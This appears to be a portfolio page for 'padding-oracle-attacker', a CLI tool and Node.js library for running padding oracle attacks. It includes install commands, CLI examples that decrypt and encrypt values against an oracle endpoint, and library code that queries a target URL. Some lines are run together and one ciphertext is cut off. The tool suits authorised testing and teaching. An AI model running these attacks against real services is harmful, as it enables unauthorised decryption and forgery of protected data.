CLI tool and library to execute padding oracle attacks easily, with support for concurrent network requests and an elegant UI.

Role
Creator
Timeline
2020
Skills
A CLI tool and library to execute padding oracle attacks easily, with support for concurrent network requests and an elegant UI.
The tool features an elegant terminal UI that shows real-time progress of the attack:
npm i -g padding-oracle-attackeror use npx to run without installing:
npx padding-oracle-attackerDecrypt a value:
poattack decrypt -u "http://localhost:2020/decrypt?ciphertext=$" "Gw3kg8e3hM6TO3l5Encrypt a value:
poattack encrypt -u "http://localhost:2020/decrypt?ciphertext=$" "secret str"Use as a library in your Node.js projects:
import { decrypt, encrypt } from 'padding-oracle-attacker'
// Decrypt ciphertext
const plaintext = await decrypt(ciphertext, {
blockSize: 16,
isVulnerable: async (data) => {
const response = await fetch('http://target/decrypt?ct=' + data.toString('base64'))
return response.status === 200
}
})
// Encrypt plaintext
const encrypted = await encrypt('secret message', {
blockSize: 16,
isVulnerable: async (data) => {
// ... vulnerability oracle
}
})220+ stars on GitHub • MIT License • TypeScript 91.3%